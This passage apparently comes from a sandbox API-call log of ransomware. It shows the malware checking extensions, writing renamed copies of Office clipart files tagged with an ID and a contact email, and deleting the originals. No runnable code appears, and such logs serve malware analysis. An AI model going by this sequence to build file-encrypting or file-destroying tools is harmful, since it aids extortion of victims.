lstrlenW (lpString=".1cd") returned 4 [0209.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0209.914] lstrlenW (lpString=".jpg") returned 4 [0209.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.914] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.914] lstrlenW (lpString="J0105250.WMF") returned 12 [0209.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.914] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=4628) returned 1 [0209.914] CloseHandle (hObject=0x374) returned 1 [0209.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0209.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.915] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.915] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0209.916] GetLastError () returned 0x0 [0209.916] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x1214, lpOverlapped=0x0) returned 1 [0210.293] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x1220, lpOverlapped=0x0) returned 1 [0210.294] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.294] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.294] SetEndOfFile (hFile=0x378) returned 1 [0210.295] CloseHandle (hObject=0x378) returned 1 [0210.295] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.295] SetEndOfFile (hFile=0x374) returned 1 [0210.296] CloseHandle (hObject=0x374) returned 1 [0210.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0210.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.297] lstrlenW (lpString=".doc") returned 4 [0210.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.298] lstrlenW (lpString=".docx") returned 5 [0210.298] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.298] lstrlenW (lpString=".pdf") returned 4 [0210.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.298] lstrlenW (lpString=".xls") returned 4 [0210.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.298] lstrlenW (lpString=".xlsx") returned 5 [0210.298] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.298] lstrlenW (lpString=".ppt") returned 4 [0210.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.298] lstrlenW (lpString=".zip") returned 4 [0210.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.298] lstrlenW (lpString=".rar") returned 4 [0210.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.298] lstrlenW (lpString=".bz2") returned 4 [0210.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.298] lstrlenW (lpString=".7z") returned 3 [0210.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.298] lstrlenW (lpString=".dbf") returned 4 [0210.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.298] lstrlenW (lpString=".1cd") returned 4 [0210.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.298] lstrlenW (lpString=".jpg") returned 4 [0210.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.299] lstrlenW (lpString=".doc") returned 4 [0210.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.299] lstrlenW (lpString=".docx") returned 5 [0210.299] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.299] lstrlenW (lpString=".pdf") returned 4 [0210.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.299] lstrlenW (lpString=".xls") returned 4 [0210.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.299] lstrlenW (lpString=".xlsx") returned 5 [0210.299] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.299] lstrlenW (lpString=".ppt") returned 4 [0210.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.299] lstrlenW (lpString=".zip") returned 4 [0210.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.299] lstrlenW (lpString=".rar") returned 4 [0210.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.299] lstrlenW (lpString=".bz2") returned 4 [0210.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.299] lstrlenW (lpString=".7z") returned 3 [0210.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.299] lstrlenW (lpString=".dbf") returned 4 [0210.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.299] lstrlenW (lpString=".1cd") returned 4 [0210.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0210.299] lstrlenW (lpString=".jpg") returned 4 [0210.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.300] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.300] lstrlenW (lpString="J0105320.WMF") returned 12 [0210.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0210.300] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=2020) returned 1 [0210.300] CloseHandle (hObject=0x374) returned 1 [0210.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0210.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0210.301] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.301] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0210.302] GetLastError () returned 0x0 [0210.302] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0210.303] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0210.304] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.304] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.304] SetEndOfFile (hFile=0x378) returned 1 [0210.304] CloseHandle (hObject=0x378) returned 1 [0210.304] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.304] SetEndOfFile (hFile=0x374) returned 1 [0210.305] CloseHandle (hObject=0x374) returned 1 [0210.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0210.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.306] lstrlenW (lpString=".doc") returned 4 [0210.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.306] lstrlenW (lpString=".docx") returned 5 [0210.306] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.306] lstrlenW (lpString=".pdf") returned 4 [0210.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.306] lstrlenW (lpString=".xls") returned 4 [0210.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.306] lstrlenW (lpString=".xlsx") returned 5 [0210.306] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.306] lstrlenW (lpString=".ppt") returned 4 [0210.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.306] lstrlenW (lpString=".zip") returned 4 [0210.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.307] lstrlenW (lpString=".rar") returned 4 [0210.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.307] lstrlenW (lpString=".bz2") returned 4 [0210.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.307] lstrlenW (lpString=".7z") returned 3 [0210.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.307] lstrlenW (lpString=".dbf") returned 4 [0210.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.307] lstrlenW (lpString=".1cd") returned 4 [0210.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.307] lstrlenW (lpString=".jpg") returned 4 [0210.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.307] lstrlenW (lpString=".doc") returned 4 [0210.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.307] lstrlenW (lpString=".docx") returned 5 [0210.307] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.307] lstrlenW (lpString=".pdf") returned 4 [0210.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.307] lstrlenW (lpString=".xls") returned 4 [0210.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.307] lstrlenW (lpString=".xlsx") returned 5 [0210.307] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.307] lstrlenW (lpString=".ppt") returned 4 [0210.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.308] lstrlenW (lpString=".zip") returned 4 [0210.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.308] lstrlenW (lpString=".rar") returned 4 [0210.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.308] lstrlenW (lpString=".bz2") returned 4 [0210.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.308] lstrlenW (lpString=".7z") returned 3 [0210.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.308] lstrlenW (lpString=".dbf") returned 4 [0210.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.308] lstrlenW (lpString=".1cd") returned 4 [0210.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0210.308] lstrlenW (lpString=".jpg") returned 4 [0210.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.308] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.308] lstrlenW (lpString="J0105328.WMF") returned 12 [0210.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0210.309] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=7992) returned 1 [0210.309] CloseHandle (hObject=0x374) returned 1 [0210.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0210.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0210.309] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.309] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0210.310] GetLastError () returned 0x0 [0210.310] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x1f38, lpOverlapped=0x0) returned 1 [0210.312] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0210.313] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.313] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.313] SetEndOfFile (hFile=0x378) returned 1 [0210.313] CloseHandle (hObject=0x378) returned 1 [0210.313] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.313] SetEndOfFile (hFile=0x374) returned 1 [0210.314] CloseHandle (hObject=0x374) returned 1 [0210.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0210.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.315] lstrlenW (lpString=".doc") returned 4 [0210.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.315] lstrlenW (lpString=".docx") returned 5 [0210.315] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.315] lstrlenW (lpString=".pdf") returned 4 [0210.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.315] lstrlenW (lpString=".xls") returned 4 [0210.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.315] lstrlenW (lpString=".xlsx") returned 5 [0210.315] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.315] lstrlenW (lpString=".ppt") returned 4 [0210.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.316] lstrlenW (lpString=".zip") returned 4 [0210.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.316] lstrlenW (lpString=".rar") returned 4 [0210.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.316] lstrlenW (lpString=".bz2") returned 4 [0210.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.316] lstrlenW (lpString=".7z") returned 3 [0210.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.316] lstrlenW (lpString=".dbf") returned 4 [0210.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.316] lstrlenW (lpString=".1cd") returned 4 [0210.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.316] lstrlenW (lpString=".jpg") returned 4 [0210.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.316] lstrlenW (lpString=".doc") returned 4 [0210.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.316] lstrlenW (lpString=".docx") returned 5 [0210.316] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.316] lstrlenW (lpString=".pdf") returned 4 [0210.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.316] lstrlenW (lpString=".xls") returned 4 [0210.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.316] lstrlenW (lpString=".xlsx") returned 5 [0210.316] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.316] lstrlenW (lpString=".ppt") returned 4 [0210.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.317] lstrlenW (lpString=".zip") returned 4 [0210.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.317] lstrlenW (lpString=".rar") returned 4 [0210.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.317] lstrlenW (lpString=".bz2") returned 4 [0210.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.317] lstrlenW (lpString=".7z") returned 3 [0210.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.317] lstrlenW (lpString=".dbf") returned 4 [0210.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.317] lstrlenW (lpString=".1cd") returned 4 [0210.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0210.317] lstrlenW (lpString=".jpg") returned 4 [0210.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.317] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.317] lstrlenW (lpString="J0105332.WMF") returned 12 [0210.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 